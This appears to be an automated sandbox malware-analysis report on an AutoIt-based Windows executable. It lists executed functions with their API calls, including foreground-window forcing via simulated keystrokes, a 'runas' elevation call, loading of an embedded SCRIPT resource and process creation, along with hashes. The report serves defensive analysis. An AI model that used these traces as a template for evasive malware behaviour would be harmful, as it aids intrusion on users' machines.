Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 22a9280aa77af02b61a63b0ee37f1f6319c2f3b615f1fecb67dfff3c7f94023b
Instruction ID: b52138b20af26960c6a04781da9df06a705f3bc3dda56f0124384158556aec84
Opcode Fuzzy Hash: 22a9280aa77af02b61a63b0ee37f1f6319c2f3b615f1fecb67dfff3c7f94023b
Instruction Fuzzy Hash: D6214FB5B4420DAFDF10EFA4CC41AEEBBB9EF48714F000069F601A7251DB30AD819BA1

Analysis Process: 9963a8aba7.exePID: 8156, Parent PID: 7640COMMON

Execution Graph

Execution Coverage:	1.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.9%
Total number of Nodes:	1355
Total number of Limit Nodes:	38

Executed Functions

Function 00AFF98E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130
keyboardthreadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32(00000000,00000000,00000000), ref: 00AFF998
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00B3F474
IsIconic.USER32(00000000), ref: 00B3F47D
ShowWindow.USER32(00000000,00000009), ref: 00B3F48A
SetForegroundWindow.USER32(00000000), ref: 00B3F494
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00B3F4AA
GetCurrentThreadId.KERNEL32 ref: 00B3F4B1
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00B3F4BD
AttachThreadInput.USER32(?,00000000,00000001), ref: 00B3F4CE
AttachThreadInput.USER32(?,00000000,00000001), ref: 00B3F4D6
AttachThreadInput.USER32(00000000,000000FF,00000001), ref: 00B3F4DE
SetForegroundWindow.USER32(00000000), ref: 00B3F4E1
MapVirtualKeyW.USER32(00000012,00000000), ref: 00B3F4F6
keybd_event.USER32(00000012,00000000), ref: 00B3F501
MapVirtualKeyW.USER32(00000012,00000000), ref: 00B3F50B
keybd_event.USER32(00000012,00000000), ref: 00B3F510
MapVirtualKeyW.USER32(00000012,00000000), ref: 00B3F519
keybd_event.USER32(00000012,00000000), ref: 00B3F51E
MapVirtualKeyW.USER32(00000012,00000000), ref: 00B3F528
keybd_event.USER32(00000012,00000000), ref: 00B3F52D
SetForegroundWindow.USER32(00000000), ref: 00B3F530
AttachThreadInput.USER32(?,000000FF,00000000), ref: 00B3F557

Strings

Shell_TrayWnd, xrefs: 00B3F46F

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: ab0b77c11d23884c0745e85a7afbc785ba33f5993d0cb08b05ff209070751ee9
Instruction ID: 23ef7e1d8d1e7f5496165bfdbdb438a9da519365b4d2814868560c04f817d906
Opcode Fuzzy Hash: ab0b77c11d23884c0745e85a7afbc785ba33f5993d0cb08b05ff209070751ee9
Instruction Fuzzy Hash: 03311271E402187EEB216BB55C4AFBF7EACEB44B50F21006DF605E71D1DBB15D40AA60

Function 00AE42DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00AE430D

Part of subcall function 00AE6B57: _wcslen.LIBCMT ref: 00AE6B6A

GetCurrentProcess.KERNEL32(?,00B7CB64,00000000,?,?), ref: 00AE4422
IsWow64Process.KERNEL32(00000000,?,?), ref: 00AE4429
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 00AE4454
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00AE4466
GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 00AE4474
FreeLibrary.KERNEL32(00000000,?,?), ref: 00AE447B
GetSystemInfo.KERNEL32(?,?,?), ref: 00AE44A0

Strings

GetNativeSystemInfo, xrefs: 00AE4460
kernel32.dll, xrefs: 00AE444F
|O, xrefs: 00B236F8

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: 850bf43be6b1ab4be78d79541141c9bf4114b1226d79725def1467a23864acd9
Instruction ID: 8a44bab0fcbee576d4f27292b07858430f91d3a80e2a9e6d51a4411a689348e4
Opcode Fuzzy Hash: 850bf43be6b1ab4be78d79541141c9bf4114b1226d79725def1467a23864acd9
Instruction Fuzzy Hash: 67A1D77191A3D0FFCB12C76D7C605997FE8AB26700B884EEDD04593B61FAE44944CB29

Function 00AE42A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00AE50AA,?,?,00000000,00000000), ref: 00AE42B2
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00AE50AA,?,?,00000000,00000000), ref: 00AE42C9
LoadResource.KERNEL32(?,00000000,?,?,00AE50AA,?,?,00000000,00000000,?,?,?,?,?,?,00AE4F20), ref: 00B235BE
SizeofResource.KERNEL32(?,00000000,?,?,00AE50AA,?,?,00000000,00000000,?,?,?,?,?,?,00AE4F20), ref: 00B235D3
LockResource.KERNEL32(00AE50AA,?,?,00AE50AA,?,?,00000000,00000000,?,?,?,?,?,?,00AE4F20,?), ref: 00B235E6

Strings

SCRIPT, xrefs: 00AE42BF

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: f092fa7faac5e97b3856c4a9897182a537c67d3155710a40a9e476e4fc38d122
Instruction ID: 20f966cdeb46207b80ce01de1d16c04b242eb45c4b91e104265c867a965a9cf9
Opcode Fuzzy Hash: f092fa7faac5e97b3856c4a9897182a537c67d3155710a40a9e476e4fc38d122
Instruction Fuzzy Hash: C6117C70200700BFD7218B66DC48F677BBDEBC9B51F24816DB50A96260DB71D8408A20

Function 00B22BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetCurrentDirectoryW.KERNEL32(?), ref: 00AE2B6B

Part of subcall function 00AE3A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00BB1418,?,00AE2E7F,?,?,?,00000000), ref: 00AE3A78

Part of subcall function 00AE9CB3: _wcslen.LIBCMT ref: 00AE9CBD

GetForegroundWindow.USER32(runas,?,?,?,?,?,00BA2224), ref: 00B22C10
ShellExecuteW.SHELL32(00000000,?,?,00BA2224), ref: 00B22C17

Strings

runas, xrefs: 00B22C0B

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow_wcslen
String ID: runas
API String ID: 448630720-4000483414
Opcode ID: 0017dd9781d7c3c2f8544f6363747b8bd49303d02c82ae4687e4878980ea8abf
Instruction ID: f760ac19d2bd51ae1219631e1a7f2f85078f07a696c1506c626d984d1ae13397
Opcode Fuzzy Hash: 0017dd9781d7c3c2f8544f6363747b8bd49303d02c82ae4687e4878980ea8abf
Instruction Fuzzy Hash: DD1106321083C16FCB14FF26D959EBE7BE89B91340F44086CF086570A2DF618A4A9712

Function 00B4DBBE Relevance: 6.0, APIs: 4, Instructions: 29
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(?,00B25222), ref: 00B4DBCE
GetFileAttributesW.KERNELBASE(?), ref: 00B4DBDD
FindFirstFileW.KERNEL32(?,?), ref: 00B4DBEE
FindClose.KERNEL32(00000000), ref: 00B4DBFA

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: a267cb6bdba8964513c209d6bac245fce2fde069748725564f4bb862dea4c2a7
Instruction ID: 454e7c723f6df0f3a3111759549823bf40802d029d7da1a5d02b1757e9b0d195
Opcode Fuzzy Hash: a267cb6bdba8964513c209d6bac245fce2fde069748725564f4bb862dea4c2a7
Instruction Fuzzy Hash: 05F0A0308109105782216FB8AC4D8AA3BACDF02334B504B5AF83AD20E2EFB05AD49695

Function 00B6AFF9 Relevance: 24.4, APIs: 16, Instructions: 418
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 00B6B198
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00B6B1B0
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00B6B1D4
_wcslen.LIBCMT ref: 00B6B200
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00B6B214
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00B6B236
_wcslen.LIBCMT ref: 00B6B332

Part of subcall function 00B505A7: GetStdHandle.KERNEL32(000000F6), ref: 00B505C6

_wcslen.LIBCMT ref: 00B6B34B
_wcslen.LIBCMT ref: 00B6B366
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00B6B3B6
GetLastError.KERNEL32(00000000), ref: 00B6B407
CloseHandle.KERNEL32(?), ref: 00B6B439
CloseHandle.KERNEL32(00000000), ref: 00B6B44A
CloseHandle.KERNEL32(00000000), ref: 00B6B45C
CloseHandle.KERNEL32(00000000), ref: 00B6B46E
CloseHandle.KERNEL32(?), ref: 00B6B4E3

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: 9393e9cd2cdc71f1eeab329df3cc7b310186af817a3353098b8bea82567d3931
Instruction ID: dca2de606f422f1ec0cdcd427221a078a3d30f219512a89e8e17fe3029a82412
Opcode Fuzzy Hash: 9393e9cd2cdc71f1eeab329df3cc7b310186af817a3353098b8bea82567d3931
Instruction Fuzzy Hash: BAF19B316043409FCB14EF25C991B2EBBE5EF85314F14849DF99A9B2A2DB35EC84CB52

Function 00AED730 Relevance: 21.6, APIs: 14, Instructions: 619windowsleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00AED807
timeGetTime.WINMM ref: 00AEDA07
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00AEDB28
TranslateMessage.USER32(?), ref: 00AEDB7B
DispatchMessageW.USER32(?), ref: 00AEDB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00AEDB9F
Sleep.KERNELBASE(0000000A), ref: 00AEDBB1

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
String ID:
API String ID: 2189390790-0
Opcode ID: 75ff52612aa3a38549d70f631f00f1bb74a5e39931d4dc0358826e0afdc42525
Instruction ID: 9ff8930926a5e68839ce38424a6e3b68dc84d7e64b50191ae6018e9267ed7a4e
Opcode Fuzzy Hash: 75ff52612aa3a38549d70f631f00f1bb74a5e39931d4dc0358826e0afdc42525
Instruction Fuzzy Hash: D742D230608381DFD728CF29C895B6ABBE4FF45304F648A6DE5958B291DB74E844CB92

Function 00AE2CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00AE2D07
RegisterClassExW.USER32(00000030), ref: 00AE2D31
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00AE2D42
InitCommonControlsEx.COMCTL32(?), ref: 00AE2D5F
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00AE2D6F
LoadIconW.USER32(000000A9), ref: 00AE2D85
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00AE2D94

Strings

AutoIt v3 GUI, xrefs: 00AE2D23
+, xrefs: 00AE2CF0
0, xrefs: 00AE2CE9
TaskbarCreated, xrefs: 00AE2D37

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: d978438e51d9cbf0ba400c19b8a1396bb97210934e1d53ad38fd1eb46b26013a
Instruction ID: ce89ac4be1f7f23b06145aac1e73750c12dc597e701228f59ec028f382cf2f9c
Opcode Fuzzy Hash: d978438e51d9cbf0ba400c19b8a1396bb97210934e1d53ad38fd1eb46b26013a
Instruction Fuzzy Hash: 9E21D3B1901248AFDB009FA8EC59A9DBFB8FB08701F10861EE555A72A0DBB145448F95

Function 00B2065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B2039A: CreateFileW.KERNELBASE(00000000,00000000,?,00B20704,?,?,00000000,?,00B20704,00000000,0000000C), ref: 00B203B7

GetLastError.KERNEL32 ref: 00B2076F
__dosmaperr.LIBCMT ref: 00B20776
GetFileType.KERNELBASE(00000000), ref: 00B20782
GetLastError.KERNEL32 ref: 00B2078C
__dosmaperr.LIBCMT ref: 00B20795
CloseHandle.KERNEL32(00000000), ref: 00B207B5
CloseHandle.KERNEL32(?), ref: 00B208FF
GetLastError.KERNEL32 ref: 00B20931
__dosmaperr.LIBCMT ref: 00B20938

Strings

H, xrefs: 00B208BD

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 427c6b46b6bc7f9204ef79a0d1d73189051ca3469c1fc2468322a3cea7fbebc0
Instruction ID: 50adb65db1cd40399962136b4351774316da2491a0764ca8e8e8d488d450c351
Opcode Fuzzy Hash: 427c6b46b6bc7f9204ef79a0d1d73189051ca3469c1fc2468322a3cea7fbebc0
Instruction Fuzzy Hash: 93A10732A241158FDF19EF68E8517BE3BE0EB06310F14019DF8199B2E2DB359D52CB91

Function 00AE344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00AE3A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00BB1418,?,00AE2E7F,?,?,?,00000000), ref: 00AE3A78

Part of subcall function 00AE3357: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00AE3379

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00AE356A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00B2318D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00B231CE
RegCloseKey.ADVAPI32(?), ref: 00B23210
_wcslen.LIBCMT ref: 00B23277
_wcslen.LIBCMT ref: 00B23286

Strings

Software\AutoIt v3\AutoIt, xrefs: 00AE3560
\, xrefs: 00B2328C
Include, xrefs: 00B23184, 00B231C5
\Include\, xrefs: 00AE3527

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: baf6f34850d7c42f78ddead88f5f7e77a559993a18919c5b726e959b7a73b920
Instruction ID: d32d88ada2c355d09a0980bba5e7474a648b282c07c44a3c209d8f41efbf6cc0
Opcode Fuzzy Hash: baf6f34850d7c42f78ddead88f5f7e77a559993a18919c5b726e959b7a73b920
Instruction Fuzzy Hash: 2F71B3714043419FC314EF65ED8286BBBE8FF95740F404A2DF549831B0EBB49A48CB66

Function 00AE2B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00AE2B8E
LoadCursorW.USER32(00000000,00007F00), ref: 00AE2B9D
LoadIconW.USER32(00000063), ref: 00AE2BB3
LoadIconW.USER32(000000A4), ref: 00AE2BC5
LoadIconW.USER32(000000A2), ref: 00AE2BD7
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00AE2BEF
RegisterClassExW.USER32(?), ref: 00AE2C40

Part of subcall function 00AE2CD4: GetSysColorBrush.USER32(0000000F), ref: 00AE2D07
Part of subcall function 00AE2CD4: RegisterClassExW.USER32(00000030), ref: 00AE2D31
Part of subcall function 00AE2CD4: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00AE2D42
Part of subcall function 00AE2CD4: InitCommonControlsEx.COMCTL32(?), ref: 00AE2D5F
Part of subcall function 00AE2CD4: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00AE2D6F
Part of subcall function 00AE2CD4: LoadIconW.USER32(000000A9), ref: 00AE2D85
Part of subcall function 00AE2CD4: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00AE2D94

Strings

0, xrefs: 00AE2C0F
AutoIt v3, xrefs: 00AE2C2F
#, xrefs: 00AE2C16

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 9c4ae21ca81193daa980ce3c926b79441b2927423dbab6f3cc5e82556a4147e8
Instruction ID: 80392f0ed89dc93770c451b077defbb1fdfa78ccf6c0a07e34e2dab87c37589b
Opcode Fuzzy Hash: 9c4ae21ca81193daa980ce3c926b79441b2927423dbab6f3cc5e82556a4147e8
Instruction Fuzzy Hash: EF21F871A00354BBDB10DFAAEC65AA97FF4FB48B50F54451EE504A76A0EBB109408F98

Function 00AE3170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,00AE316A,?,?), ref: 00AE31D8
KillTimer.USER32(?,00000001,?,?,?,?,?,00AE316A,?,?), ref: 00AE3204
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00AE3227
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,00AE316A,?,?), ref: 00AE3232
CreatePopupMenu.USER32 ref: 00AE3246
PostQuitMessage.USER32(00000000), ref: 00AE3267

Strings

TaskbarCreated, xrefs: 00AE322D

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: cccb2419d09f9b622d86abe334d553d4c07c974fb32e57d365367c3670b73ef2
Instruction ID: 9d5274db35aaab6cf38cba458421b2f123e401676bb939ddb586fce0b09b8edd
Opcode Fuzzy Hash: cccb2419d09f9b622d86abe334d553d4c07c974fb32e57d365367c3670b73ef2
Instruction Fuzzy Hash: D3412633204280B7DF142F7D9D1DBB93AA9EB55340F4406ADF646871A1DFB1CE409761

Function 00AE2C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00AE2C91
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00AE2CB2
ShowWindow.USER32(00000000,?,?,?,?,?,?,00AE1CAD,?), ref: 00AE2CC6
ShowWindow.USER32(00000000,?,?,?,?,?,?,00AE1CAD,?), ref: 00AE2CCF

Strings

edit, xrefs: 00AE2CAC
AutoIt v3, xrefs: 00AE2C89, 00AE2C8E, 00AE2C8F

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
